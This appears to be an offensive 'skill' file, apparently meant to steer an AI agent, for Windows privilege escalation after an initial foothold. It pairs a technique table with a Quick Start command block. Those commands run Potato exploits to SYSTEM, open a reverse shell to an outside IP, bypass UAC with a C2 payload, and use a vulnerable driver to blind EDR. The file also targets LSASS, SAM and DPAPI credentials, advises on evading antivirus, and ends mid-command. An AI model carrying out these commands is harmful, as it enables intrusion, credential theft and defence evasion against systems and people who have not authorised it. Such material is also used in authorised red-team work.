/privesc-windows

name: privesc-windows
description: Use when escalating privileges on a Windows host — SeImpersonate Potato chains (GodPotato/PrintNotifyPotato), service & DLL hijacking, UAC bypass (fodhelper/ICMLuaUtil), kernel EoP + BYOVD (CVE-2025-29824), token-rights abuse, LSASS/SAM/DPAPI credential harvesting
metadata:
  type: offensive
  phase: post-exploitation
  tools: winpeas, seatbelt, privesccheck, sharpup, godpotato, sigmapotato, printnotifypotato, fullpowers, edrsandblast, mimikatz, nanodump, pypykatz, impacket-secretsdump
  mitre: TA0004
kill_chain:
  phase: [exploit, actions]
  step: [4, 7]
  attck_tactics: [TA0004, TA0005, TA0006]
  attck_techniques: [T1134, T1134.001, T1134.002, T1543.003, T1574.001, T1574.009, T1574.010, T1548.002, T1068, T1211, T1003.001, T1003.002, T1555.004, T1053.005, T1547.001]
depends_on: [network-attack, exploit-development]
feeds_into: [red-team-ops, advanced-redteam, active-directory-attack, edr-evasion]
inputs: [shell_access, os_fingerprint, service_account_context]
outputs: [elevated_access, system_token, credential_dump, finding_record]
references:
  - references/enumeration-triage.md
  - references/token-impersonation-potatoes.md
  - references/service-dll-hijacking.md
  - references/uac-bypass.md
  - references/kernel-byovd.md
  - references/credential-harvesting.md
scripts:
  - scripts/win_privesc_triage.ps1
  - scripts/check_potato.py
  - scripts/service_hijack_audit.ps1
  - scripts/uac_bypass.ps1
  - scripts/byovd_loader.c

Windows Privilege Escalation

When to Activate

• Gained an initial shell / foothold on Windows and need to reach Administrator or NT AUTHORITY\SYSTEM
• Shell runs as a service account (IIS APPPOOL, MSSQL, Local/Network Service) holding `SeImpersonatePrivilege`
• Standard-user → admin via UAC bypass (medium → high integrity) on a local-admin-group member
• Service / DLL / scheduled-task misconfiguration hunting on the host
• Kernel EoP via an unpatched local CVE or Bring-Your-Own-Vulnerable-Driver (admin → kernel/PPL)
• Privileged token-right abuse (`SeBackup`/`SeRestore`/`SeTakeOwnership`/`SeLoadDriver`/`SeDebug`)
• Local credential harvesting (LSASS, SAM/SYSTEM, DPAPI) to fuel lateral movement

Technique Map

| Technique | ATT&CK | CWE | Reference | Script | |-----------|--------|-----|-----------|--------| | Automated enumeration (winPEAS/Seatbelt/PrivescCheck) | T1082, T1518 | CWE-1188 | references/enumeration-triage.md | scripts/win_privesc_triage.ps1 | | Token-privilege triage + FullPowers recovery | T1134.001 | CWE-269 | references/enumeration-triage.md | scripts/win_privesc_triage.ps1 | | SeImpersonate Potato (GodPotato/SigmaPotato/PrintNotify) | T1134.001, T1134.002 | CWE-269 | references/token-impersonation-potatoes.md | scripts/check_potato.py | | Named-pipe / token impersonation primitives | T1134.001 | CWE-269 | references/token-impersonation-potatoes.md | scripts/check_potato.py | | Unquoted service path | T1574.009 | CWE-428 | references/service-dll-hijacking.md | scripts/service_hijack_audit.ps1 | | Weak service ACL / SERVICE_CHANGE_CONFIG | T1543.003 | CWE-732 | references/service-dll-hijacking.md | scripts/service_hijack_audit.ps1 | | DLL / phantom DLL hijack (CVE-2025-1729, CVE-2024-28827) | T1574.001, T1574.010 | CWE-427 | references/service-dll-hijacking.md | scripts/service_hijack_audit.ps1 | | UAC bypass — fodhelper/computerdefaults/eventvwr | T1548.002 | CWE-269 | references/uac-bypass.md | scripts/uac_bypass.ps1 | | UAC bypass — ICMLuaUtil / IEditionUpgradeManager COM | T1548.002 | CWE-269 | references/uac-bypass.md | scripts/uac_bypass.ps1 | | AlwaysInstallElevated MSI | T1548.002 | CWE-250 | references/uac-bypass.md | scripts/uac_bypass.ps1 | | Kernel EoP CVE (CLFS CVE-2025-29824/32701; CVE-2025-62215) | T1068 | CWE-416, CWE-362 | references/kernel-byovd.md | scripts/byovd_loader.c | | BYOVD admin→kernel / EDR-blind (CVE-2025-7771, EDRSandblast) | T1068, T1562.001 | CWE-782 | references/kernel-byovd.md | scripts/byovd_loader.c | | Privileged token rights (SeBackup/SeRestore/SeLoadDriver/SeDebug) | T1134, T1068 | CWE-269 | references/kernel-byovd.md | scripts/byovd_loader.c | | LSASS dump (comsvcs / PssCaptureSnapshot / nanodump) | T1003.001 | CWE-522 | references/credential-harvesting.md | - | | SAM/SYSTEM + VSS offline secretsdump | T1003.002 | CWE-522 | references/credential-harvesting.md | - | | DPAPI / credential vault / browser secrets | T1555.004, T1555.003 | CWE-522 | references/credential-harvesting.md | - |

Quick Start

# 0. Identity + token rights — this decides the whole strategy
whoami /priv /groups
powershell -ep bypass -File scripts/win_privesc_triage.ps1 -Quick

# 1. Full automated enumeration (pick the AV-safest)
.\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report pc_%COMPUTERNAME% -Format TXT,HTML
.\Seatbelt.exe -group=all -full        # build it yourself; do not trust prebuilt binaries
.\winPEASany_ofs.bat                    # .bat variant is less AV-flagged than the .exe

# 2a. Service-account shell with SeImpersonate* -> Potato to SYSTEM
python3 scripts/check_potato.py --priv "$(whoami /priv)"   # picks the right Potato for the host
.\GodPotato-NET4.exe -cmd "cmd /c whoami"                  # Server 2012-2022, no outbound
.\SigmaPotato.exe --revshell 10.10.14.5 443                # fileless .NET-reflection variant
# stripped token (Local/Network Service)? recover privileges first:
.\FullPowers.exe -c "C:\Windows\Tasks\GodPotato-NET4.exe -cmd cmd" -z

# 2b. No SeImpersonate -> hunt service/DLL/scheduled-task misconfig
powershell -ep bypass -File scripts/service_hijack_audit.ps1   # unquoted/weak-ACL/writable-bin/PATH

# 2c. Standard user in local-admin group, UAC on -> bypass to high integrity
powershell -ep bypass -File scripts/uac_bypass.ps1 -Method fodhelper -Payload "cmd.exe /c <c2>"

# 2d. Already admin -> kernel/PPL via BYOVD; then harvest creds
#     (verify driver is NOT on Microsoft blocklist for the build first)
.\EDRSandblast.exe --kerne